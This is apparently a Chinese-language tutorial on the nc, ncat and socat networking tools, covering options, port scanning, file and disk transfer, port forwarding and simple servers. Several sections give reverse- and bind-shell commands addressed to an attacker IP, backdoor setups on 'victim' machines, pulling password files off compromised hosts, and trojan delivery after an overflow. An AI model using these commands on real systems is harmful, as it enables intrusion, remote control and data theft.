参考 :http://www.linuxso.com/command/nc.html
NC工具的使用说明教程:https://blog.csdn.net/xysoul/article/details/52270149
window 版本 nc 下载:https://eternallybored.org/misc/netcat/
1、nc、ncat 简介
NC 全名 Netcat (网络刀),作者是 Hobbit && ChrisWysopal。因其功能十分强大,体积小巧而出名,被誉为网络安全界的 "瑞士军刀"。Netcat 使用 TCP 或 UDP 协议的网络连接去读写数据。Netcat 也是稳定的后门工具、功能强大的网络调试和探测工具。能够直接由其它程序和脚本轻松驱动。能够建立几乎所有类型的网络连接。
在中国 NC 的 WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由 "红与黑" 编译后的新浓缩版。浓缩版的主程序只有10多KB(10多KB的NC是不能完成下面第4、第5种使用方法 ),虽然 "体积" 小,但很完成很多工作。
- nc :nc 常用于溢出、反向链接、上传文本等。其实是一个非标准的 telnet 客户端程序。也是一个 putty.exe 客户端程序。
- ncat :是现代版的 netcat,是 nmap 项目的组成部分。
- socat :socat 是一个 nc 的替代品,可以称为 nc++。是 netcat 的 N 倍 加强版。socat 支持的连接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等
nc --- TCP/IP swiss army knife
linux 下执行命令:readlink -f $(which nc) 结果会有两种:
- /bin/nc.traditional:默认 GNU 基础版本,一般系统自带。
- /bin/nc.openbsd:openbsd 版本,强大很多。
都可以用 apt-get install nc-traditional 或者 apt-get install nc-openbsd 来选择安装。不管是 gnu 版本还是 openbsd 版本,都有新老的区别,主要是传送文件时 stdin 发生 EOF 了,老版本会自动断开,而新的 gnu/openbsd 还会一直连着。
2、nc、ncat 命令
Netcat 最初的用途就是文件传输,它可以像 cat 命令一样将读取的文件重定向到网络上的另外的文件。Netcat 在网络应用中既可以当做服务器端,开启本机一个监听端口,也可以作为客户端向其他服务器端口发起连接。所以,文件传输,即是在两端分别运行Netcat。
2.1 nc、ncat 参数
主动发起连接 的 使用方法:nc [-options] hostname port[s] [ports] ... 监听进入的连接 的 使用方法:nc -l -p port [-options] [hostname] [port]
linux 下 nc 参数
type nc
nc -h
options:
-c shell commands 同 -e 参数,连接成功后使用/bin/sh执行shell命令。[危险!!]
-e filename 连接成功后要执行的程序或者命令 [危险!!]
-b 允许广播
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助
-i secs 为 "传送信息、扫描端口" 设置时间间隔。
-k 设置 socket 的 keepalive 选项
-l 监听模式,监听进入的连接。
-n 指定数字的IP地址,不能用 hostname
-o file 把往来传输的数据以16进制形式保存到文件。
-p port 设置本地端口号
-r 随机本地和远程端口
-q secs 在标准输入 EOF 后,延迟多少秒后并退出
-s addr 设置 本地 IP 地址
-T tos 设置服务类型
-t 用 telnet 来回应
-u UDP 模式
-v 或者 -vv 显示详细
-w secs 设置网络连接超时时间
-C 发送 CRLF 作为行尾
-z 零 I/O 模式 [用于扫描],就是将输入输出关掉。
端口号可以是单个端口或者是范围。例如 80,1-100
连字符出现在端口名称中,必须用反斜杠转义(例如 "ftp\-data")
windows 下 nc 参数
windows下nc 和 linux下nc 参数不太一样
D:\Software\netcat_win> ./nc -h
[v1.12 NT http://eternallybored.org/misc/netcat/]
options:
-d 从 console 分离,即 后台模式 。-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs delay interval for lines sent, ports scanned
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 流量以16进制的形式保存到文件
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 用 telnet 来回应
-c 发送 CRLF 代替 LF
-u UDP 模式
-v 详细输出, -vv 可得到更详细的内容
-w secs 连接和网络读取的超时时间
-z 将输入输出关掉。用于扫描
端口号可以是 单个端口或者是范围 m-n。例如 80,1-100
D:\Software\netcat_win>
2.2 基本用法
nc -nvv 192.168.x.x 80 // 连到 192.168.x.x 的 TCP 80 端口
nc -l -p 80 // 监听本机的TCP80端口
nc -nvv -w2 -z 192.168.x.x 80-445 // 扫描192.168.x.x 的 TCP 80 到 TCP 445 的所有端口
nc -l -p 9999 -e cmd.exe
nc 192.168.1.5 9999或者
nc -l -p 9999 -t
nc -t -e cmd.exe 192.168.1.5
绑定 shell
命令:nc -l -p 5354 -t -e c:\windows\system32\cmd.exe
命令解释:本地监听 5354 端口,当有连接进入时,将 -e 指定的 c:\windows\system32\cmd.exe ( 就是个shell ) 主动响应 到 连接者。连接者 就可以进入被连接者的 cmd。( 反弹 shell 原理 )
绑定 shell 并反向连接
命令:nc -t -e c:\windows\system32\cmd.exe 192.168.x.x 5354
命令解释:连接到远程服务器的 5354 端口,连接成功后 将 -e c:\windows\system32\cmd.exe 响应给远程服务器。这样 远程服务器就进入连接者的 cmd
NC 的用法还有很多,当配合管道命令 | 与重定向命令 < > 等等命令功能更强大。
2.3 高级用法
作攻击程序用,例子:
格式 1:type.exe c:exploit.txt | nc -nvv 192.168.x.x 80
格式 2:nc -nvv 192.168.x.x 80 < c:exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送 c:exploit.txt 的内容。两种格式效果一样。c:exploit.txt 为 shellcode 等
作蜜罐用 [1],例子:
格式:nc -L -p 80
讲解:使用 -L( 注意 L 是大写 ) 可以不停地监听某一个端口,直到 ctrl+c 为止。
作蜜罐用 [2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用 -L 可以不停地监听某一个端口,直到 ctrl+c为 止,同时把结果输出到 c:log.txt中,如果把 > 改为 >> 即可以追加日志。c:\log.txt 为日志等
作蜜罐用 [3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:honeypot.txt|nc -L -p 80
讲解:使用 -L 可以不停地监听某一个端口,直到 ctrl+c为 止,同时把 c:honeypot.txt 的内容送入其管道中。
记录 log
nc -l -p 80 >>c:\日志.log //凡是有针对本机80端口的攻击都会被记录下来的
端口扫描
// 注意:nc 扫描会留下大量的痕迹。
格式:nc -vv -z ip port-port port // 示例:nc -v -w 2 www.baidu.com -z 100-105 80
nc -v -z 192.168.0.25 1-100 // 端口扫描,扫描 tcp 端口 1-100
nc -v -z -u 192.168.0.25 1-100 // 端口扫描,扫描 udp 端口 1-100
nc -vv 192.168.0.25 80 // 端口扫描,扫描 tcp 端口 80nc -v -z www.baidu.com 70-80 # 扫描端口(70到80)
nc -v -z -w 2 192.168.2.34 21-24
nc -v -z -w2 127.0.0.1 1-100 # -w2 设置超时时间
nc -l -p 1234 # 监听本地端口
netstat -a | grep 1234
netstat -tunlp
nc -vuz 172.16.211.34 68
nc -p 1234 -w 5 www.test.com 80 // 建立从本地1234端口到 www.test.com 的80端口连接,5秒超时
nc -u host.example.com 53 // u 为 UDP 连接
端口转发(PortForwarding)
端口转发 也是 Netcat 比较实用的用法。
先将Netcat作为服务器接收其他主机的连接,然后将连接的数据转发另外的目标机端口。
比如:
mkfifo backpipe
nc -l 12345 0<backpipe | nc www.google.com 801>backpipe
这里开启端口12345,作为www.google.com的代理。
其他无法直接登陆google的用户可以通过此代理端口来与google进行交互。
创建了一个fifo,是为实现双向数据通讯,因为管道运算符本身是单向的。
后门
受害者的机器执行命令:
nc -l -p port -e cmd.exe // win2000
nc -l -p port -e /bin/sh // unix,linux
攻击者的机器执行命令:
nc ip -p port // 连接 受害者机器IP,然后得到一个shell。
正向连接
【远程运行】nc -l -p 2012 -t -e cmd.exe
【本地运行】nc -nvv 192.168.1.101 2012
- 远程主机(注:假设IP地址为 192.168.1.101)上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到 2012 端口,当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ;
- 在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机(注:假设IP地址为 192.168.1.101)。
反向连接
【本地运行】nc -l -p 2012
【远程运行】nc -t -e cmd.exe 192.168.1.102 2012
- 先在本地主机运行 nc -l -p 2012 开启本地主机的(注:假设IP地址为 192.168.1.102)2012 端口并监听等待远程主机连接;
- 再在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为 2012 的主机上,连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。
什么叫反弹端口?
就是说,当对方中马后,不用你主动和对方连接,也就是说不用从你的client端向对方主机上运行的server端发送请求连接,
而是对方主动来连接你这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。
这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。
本地运行:nc -l -p 5277 (监听本地5277端口)或者 nc -l -v -p 5277
然后在远程机器上,想办法运行 nc -e cmd.exe ip 5277
(你可别真的打“ip”在肉鸡上啊)要打,xxx.xxx.xxx.xxx这样!!
这样就是反弹~~在本地机器上得到了一个SHELL
示例:
attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1
nc -vv -l -p prot2
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP),这样就可以保证 nc.exe 优先于NETBIOS。
端口数据抓包
就是使用 -o 参数,把数据以 16进制 的形式写到文件里面
示例:nc -vv -w 2 -o ./packet.txt www.baidu.com 80 21-15
远程 拷贝 文件
从 server1 拷贝文件到 server2 上
先在 server2 上,用 nc 激活监听,server2上运行:
[root@hatest2 tmp]# nc -lp 1234 > install.log然后,再在 server1 上运行:
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log
传送文件:
attacker machine <-- victim machine // 从肉鸡拖密码文件回来.
nc -d -l -p port < path\filedest // 可以shell执行
nc -vv attacker_ip port > path\file.txt // 需要Ctrl+C退出//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).
//否则没有办法输入Crl+C.
attacker machine --> victim machine // 上传命令文件到肉鸡
nc -vv -l -p port > path\file.txt // 需要Ctrl+C退出
nc -d victim_ip port < path\filedest // 可以shell执行
示例:
【本地运行】nc -v -n ip port < C:/sunzn.exe
【远程运行】nc -v -l -p port > D:/sunzn.exe
- 在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容,并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP ),
- 在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe 中,两行命令实现了文件在本地主机和远程主机间的传输。
ftp 自动下载
【本地运行】nc -L -p 8989 < C:\ftp.txt ( ftp.txt 中为FTP自动下载命令)
不停地监听 8989 端口,并把 C:\ftp.txt 中的内容发给任何一台连接本机 8989 端口的主机,可起到传送文件作用( 此用法经常用于反向溢出 )。远程主机一旦溢出就会连接本地主机 8989 端口,远程主机就会自动用 FTP 下载指定的文件,如木马。
远程 拷贝 目录
从 server1 拷贝 nginx-0.6.34目录内容到 server2 上。
方法 1:
先在server2上,用nc激活监听,server2上运行:
[root@hatest2 tmp]# nc -l 1234 | tar xzvf -
server1上运行:
[root@hatest1 ~]# tar -zcvf - nginx-0.6.34 | nc 192.168.228.222 1234方法 2:
从192.168.2.33拷贝文件到192.168.2.34
在192.168.2.34上: nc -l 1234 > test.txt
在192.168.2.33上: nc 192.168.2.34 < test.txt
克隆硬盘或分区
操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。克隆硬盘或分区的操作,不应在已经 mount 的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工具光盘)启动系统后,
server2上进行类似的监听动作:
# nc -l -p 1234 | dd of=/dev/sda
server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
# dd if=/dev/sda | nc 192.168.228.222 1234
简单聊天工具
在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
这样,双方就可以相互交流了。使用ctrl+C(或D)退出。nc -l 1234
nc 127.0.0.1 1234
在端口1234建立连接,互相发送输入
保存 Web 页面
# while true; do nc -l -p 80 -q 1 < somepage.html; done
模拟 HTTP 请求
nc www.baidu.com 80 // 作为浏览器,模拟请求
nc -l -v -p 80 // 浏览器中输入本机IP:127.0.0.1
例如:
用 nc 命令操作 memcached
1)存储数据:printf "set key 0 10 6rnresultrn" |nc 192.168.2.34 11211
2)获取数据:printf "get keyrn" |nc 192.168.2.34 11211
3)删除数据:printf "delete keyrn" |nc 192.168.2.34 11211
4)查看状态:printf "statsrn" |nc 192.168.2.34 11211
5)模拟top命令查看状态:watch "echo stats" |nc 192.168.2.34 11211
6)清空缓存:printf "flush_allrn" |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了)
Netcat 其他常用的功能:
支持完全的DNS转发、逆向检查
支持用户指定源端口
支持用户指定源端IP地址
内置宽松源路由能力(loosesource-routing capability)
慢速发送模式,可指定每隔多少秒发送一行文本
将发送或接收数据以16进制格式导出
3、ncat 命令
Ncat 是 nmap 项目对传统的 Netcat(即 nc 命令)的重写,是包含在 nmap 安装包里的。
3.1 ncat 的 参数
ncat -h
Ncat 7.92 (https://nmap.org/ncat)
用法:ncat [选项] [主机名] [端口]花费时间的选项假定为几秒钟。附加“ms”毫秒,
's' 代表秒,'m' 代表分钟,或 'h' 代表小时(例如 500 毫秒)。
-4 仅使用 IPv4
-6 仅使用 IPv6
-U, --unixsock 仅使用 Unix 域套接字
--vsock 仅使用 vsock 套接字
-C, --crlf 对 EOL 序列使用 CRLF
-c, --sh-exec <command> 通过 /bin/sh 执行给定的命令
-e, --exec <command> 执行给定的命令
--lua-exec <filename> 执行给定的 Lua 脚本
-g hop1[,hop2,...] 松散源路由跳点(最多 8 个)
-G <n> 松散源路由跳点指针 (4, 8, 12, ...)
-m, --max-conns <n> 最大 <n> 个同时连接数
-h, --help 显示屏幕
-d, --delay <时间> 读/写 等待时间
-o, --output <filename> 转储会话数据到文件
-x, --hex-dump <filename> 会话数据以16进制形式转储到文件
-i, --idle-timeout <time> 空闲 读/写 超时
-p, --source-port port 指定要使用的源端口
-s, --source addr 指定要使用的源地址(不影响-l)
-l, --listen 绑定并监听传入的连接
-k, --keep-open 在监听模式下接受多个连接
-n, --nodns 不通过 DNS 解析主机名
-t, --telnet 通过 Telnet 回答协商
-u, --udp 使用 UDP 而不是默认的 TCP
--sctp 使用 SCTP 代替默认 TCP
-v, --verbose 设置详细程度(可多次使用)
-w, --wait <时间> 连接超时
-z 零 I/O 模式,仅报告连接状态
--append-output 追加到输出文件
--send-only 只发送数据,忽略接收;在 EOF 上退出
--recv-only 只接收数据,不发送任何东西
--no-shutdown 在标准输入上接收 EOF 时继续半双工
--allow 只允许给定的主机连接到 Ncat
--allowfile 允许连接到 Ncat 的主机文件
--deny 拒绝给定主机连接到 Ncat
--denyfile 拒绝连接到 Ncat 的主机文件
--broker 启用 Ncat 的连接代理模式
--chat 启动一个简单的 Ncat 聊天服务器
--proxy <addr[:port]> 指定要代理的主机地址
--proxy-type <type> 指定代理类型(“http”、“socks4”、“socks5”)
--proxy-auth <auth> 使用 HTTP 或 SOCKS 代理服务器进行身份验证
--proxy-dns <type> 指定解析代理目的地的位置
--ssl 使用 SSL 连接或监听
--ssl-cert 指定用于监听的 SSL 证书文件 (PEM)
--ssl-key 指定用于监听的 SSL 私钥 (PEM)
--ssl-verify 验证证书的信任和域名
--ssl-trustfile 包含可信 SSL 证书的 PEM 文件
--ssl-ciphers 包含要使用的 SSL 密码的密码列表
--ssl-servername 请求不同的服务器名称 (SNI)
--ssl-alpn 使用的 ALPN 协议列表
--version 显示Ncat的版本信息并退出有关完整的选项、描述和使用示例,请参见 ncat(1) 联机帮助页
3.2 ncat 的 使用
Ncat 作为浏览器
命令示例:ncat -C scanme.nmap.org 80
该命令是以 交互的方式 执行的。即输入 ncat -C scanme.nmap.org 80 和 回车 后,接着继续输入 GET / HTTP/1.0 ,再敲击两次 回车 。即可获取目标网站的 HTML 文档内容。
监听模式( 模拟 web 服务器 )
使用 ncat 运行带有静态页面的 Web 服务器。vim /root/sample.html
<html>
<head>
<title>Test Page</title>
</head>
<body>
<h1>Level 1 header</h1>
<h2>Subheading</h2>
<p>Normal text here</p>
</body>
</html>
执行命令:[root@qdzabbix ~]# while true; do nc -l -p 8080 < /root/sample.html ; done
最后浏览器访问 http://127.0.0.1:8080/sample.html
执行命令(远程 shell)
命令示例:ncat -l 8080 --exec "/bin/echo Hello."
可以开启一个远程 shell 供其他设备连接。命令:ncat -l 8022 --exec "/bin/bash -i"
通过 nc 进行端口转发。
命令:ncat -u -l 80 -c 'ncat -u -l 8080'
访问控制
只允许指定客户端连接:ncat -l --allow 10.2.67.204
只拒绝指定客户端连接:ncat -l --deny 10.2.67.204
只允许指定网段的本地 IP:
- ncat -l --allow 10.2.67.0/24
- ncat -l --allow 10.2.67.0-255
从文件中获取允许访问的地址列表:ncat -l --allowfile trusted_hosts.txt
设置最大连接数为5:ncat -l --max-conns 5
文件传输
接收者监听:
receiver$ ncat -l > outputfile
sender$ ncat --send-only receiver_ip < inputfile
发送者监听:
sender$ ncat -l --send-only < inputfile
receiver$ ncat sender_ip > outputfile
传输目录
接收者:ncat -l | tar xzvf -
发送者:tar czvf - dirname | ncat --send-only receiver_ip
传输磁盘镜像(压缩)
接收者:ncat -l | bzip2 -d > sender-hda.image
发送者:cat /dev/hda | bzip2 | ncat --send-only receiver_ip
聊天
双人聊天
host1$ ncat -l
host2$ ncat host1
多人聊天
server$ ncat -l --chat
clients$ ncat server_ip
简易 web 服务器
Linux 用户:ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"
Windows 用户:ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"
流媒体视频
服务端:cat video.avi | ncat -l
客户端:ncat server_ip | mplayer -vo x11 -cache 3000 -
4、socat 命令
Socat 官方网站:http://www.dest-unreach.org/socat/
From:https://zhuanlan.zhihu.com/p/347722248
socat 基本语法:socat [options] <address> <address>
socat 主要作用 就是把两个地址的数据流串起来,把左边地址的输出数据传给右边,同时又把右边地址的输出数据传到左边。所以 socat 需要两个地址,其中这 2 个 address 是关键,address 类似于一个文件描述符,Socat 所做的工作就是在 2 个 address 指定的描述符间建立一个 pipe 用于发送和接收数据。这 2 个 address 可以任意发挥,能够做到的事情还有很多。
使用 socat 需要提供两个地址,常用的 address 描述方式如下:
- -,STDIN,STDOUT :表示 标准输入、标准输出,可以只用减号 - 代替
- /var/log/syslog :打开一个文件作为数据流,可以是任意路径。
- TCP:: 建立一个 TCP 连接作为数据流,TCP 也可以替换为 UDP 。
- TCP-LISTEN:建立 一个 TCP 监听端口,TCP 也可以替换为 UDP。
- EXEC:执行一个程序作为数据流。
socat 还支持:TCP, TCP-LISTEN, UDP, UDP-LISTEN, OPEN, EXEC, SOCKS, PROXY 等多种地址,用于端口监听、链接,文件和进程读写,代理桥接等等。所以使用 socat 其实就是学习各类地址的定义及搭配方法。以上规则中前面的 TCP 等都可以小写,在这些描述后可以附加一些选项,用逗号隔开。如 fork,reuseaddr,stdin,stdout,ctty 等。
最简单示例:命令:socat - -
说明:两个地址都是减号 "-",就是把 "标准输入输出" 和 "标准输入输出" 对接,输入什么就会显示什么。即在键盘上敲什么,屏幕上就显示什么,类似无参数的 cat 命令。
socat 的参数
参考:www.dest-unreach.org
用法:
socat [选项] <双向地址> <双向地址>
选项:
-V 版本信息
-h|-? 帮助
-hh 与 -h 类似。更加详细的帮助。加上所有常用地址选项名称
-hhh 与 -hh类似。更加详细的帮助。加上所有可用地址选项名称
-d[ddd] 增加详细程度(最多使用 4 次;建议使用 2 次)
-D 在循环之前分析文件描述符
-ly[facility] 使用设施(默认为守护进程)记录到系统日志
-lf<logfile> 记录到文件
-ls 记录到标准错误(如果没有其他日志,则默认)
-lm[facility] 混合日志模式(初始化期间的stderr,然后是syslog)
-lp<progname> 设置用于记录的程序名称
-lu 使用微秒记录时间戳
-lh 将主机名添加到日志消息中
-v 把数据流量转储为文本文件
-x 把数据流量转储为16进制文件
-r <file> 转储 从左到右 流动的原始数据
-R <file> 转储 从右到左 流动的原始数据
-b<size_t> 设置数据缓冲区大小 (8192)
-s 马虎模式。即出现错误时继续。
-t<timeout> 在关闭第二个通道之前等待几秒钟
-T<timeout> 再多少秒不活动时,设置超时
-u 单向模式(从左到右)
-U 单向模式(从右到左)
-g 不检查选项组
-L <lockfile> 尝试获取锁,否则失败
-W <lockfile> 尝试获取锁,或者等待
-4 如果没有明确指定版本,则首选 IPv4
-6 如果没有明确指定版本,则首选 IPv6
双向地址:
pipe[,<opts>] groups=FD,FIFO
<single-address>!!<single-address>
<single-address>
单向地址:
<address-head>[,<opts>]
address-head:
abstract-client:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-connect:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-listen:<filename> groups=FD,SOCKET,LISTEN,CHILD,RETRY,UNIX
abstract-recv:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-recvfrom:<filename> groups=FD,SOCKET,CHILD,RETRY,UNIX
abstract-sendto:<filename> groups=FD,SOCKET,RETRY,UNIX
create:<filename> groups=FD,REG,NAMED
exec:<command-line> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
fd:<num> groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
gopen:<filename> groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX
interface:<interface> groups=FD,SOCKET
ip-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6
ip-recv:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6
ip-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6
ip-sendto:<host>:<protocol> groups=FD,SOCKET,IP4,IP6
ip4-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4
ip4-recv:<protocol> groups=FD,SOCKET,RANGE,IP4
ip4-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4
ip4-sendto:<host>:<protocol> groups=FD,SOCKET,IP4
ip6-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP6
ip6-recv:<protocol> groups=FD,SOCKET,RANGE,IP6
ip6-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP6
ip6-sendto:<host>:<protocol> groups=FD,SOCKET,IP6
open:<filename> groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS
openssl:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL
openssl-dtls-client:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,UDP,OPENSSL
openssl-dtls-server:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,UDP,OPENSSL
openssl-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL
pipe:<filename> groups=FD,FIFO,NAMED,OPEN
proxy:<proxy-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP
pty groups=FD,NAMED,TERMIOS,PTY
sctp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,SCTP
sctp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,SCTP
sctp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,SCTP
sctp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,SCTP
sctp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,SCTP
sctp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,SCTP
socket-connect:<domain>:<protocol>:<remote-address> groups=FD,SOCKET,CHILD,RETRY
socket-datagram:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET,RANGE
socket-listen:<domain>:<protocol>:<local-address> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE
socket-recv:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,RANGE
socket-recvfrom:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,CHILD,RANGE
socket-sendto:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET
socks4:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
socks4a:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
stderr groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdin groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdio groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdout groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
system:<shell-command> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
tcp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP
tcp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP
tcp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,TCP
tcp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP
tcp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,TCP
tcp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP
tun[:<ip-addr>/<bits>] groups=FD,CHR,NAMED,OPEN,INTERFACE
udp-connect:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
udp-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP
udp-recv:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP
udp-sendto:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
udp4-connect:<host>:<port> groups=FD,SOCKET,IP4,UDP
udp4-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP4,UDP
udp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP
udp4-recv:<port> groups=FD,SOCKET,RANGE,IP4,UDP
udp4-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,UDP
udp4-sendto:<host>:<port> groups=FD,SOCKET,IP4,UDP
udp6-connect:<host>:<port> groups=FD,SOCKET,IP6,UDP
udp6-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP6,UDP
udp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP
udp6-recv:<port> groups=FD,SOCKET,RANGE,IP6,UDP
udp6-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP6,UDP
udp6-sendto:<host>:<port> groups=FD,SOCKET,IP6,UDP
unix-client:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-connect:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-listen:<filename> groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
unix-recv:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-recvfrom:<filename> groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX
unix-sendto:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
vsock-connect:<cid>:<port> groups=FD,SOCKET,CHILD,RETRY
vsock-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY
address 有一下几种形式:
- - STDIN STDOUT :表示标准输入输出,可以就用一个横杠代替
- /var/log/syslog : 也可以是任意路径,如果是相对路径要使用./,打开一个文件作为数据流。
- TCP:127.0.0.1:1080 : 建立一个TCP连接作为数据流,TCP也可以替换为UDP
- TCP-LISTEN:12345 : 建立TCP监听端口,TCP也可以替换为UDP
- EXEC:/bin/bash : 执行一个程序作为数据流。
socat 的使用
场景一:本地有个文件,想要显示在终端中
socat - /etc/sysctl.conf场景二:有个TCP连接会连上来,想看下会获得什么数据。
socat TCP-LISTEN:12345 -场景三:在目标机上弄一个shell代理
socat TCP-LISTEN:12345 EXEC:/bin/bash场景四:本地 UNIX DOMAIN 域套接字,转成 TCP SOCKET 供局域网内的机器使用
// 当有多个tcp连上来时,可以使用 fork 一个去连域套接字
socat TCP-LISTEN:12345,reuseaddr,fork UNIX-CONNECT:/data/deCOREIDPS/unix.domain
场景五
将本地的80端口转到远程去
socat TCP-LISTEN:80,fork TCP:www.baidu.com:80
网络测试
这个类似 nc 的连通性测试,两台主机到底网络能否联通:
socat - TCP-LISTEN:8080 # 终端1 上启动 server 监听 TCP
socat - TCP:localhost:8080 # 终端2 上启动 client 链接 TCP
在终端 1 上输入第一行命令作为服务端,并在终端 2 上输入第二行命令作为客户端去链接。
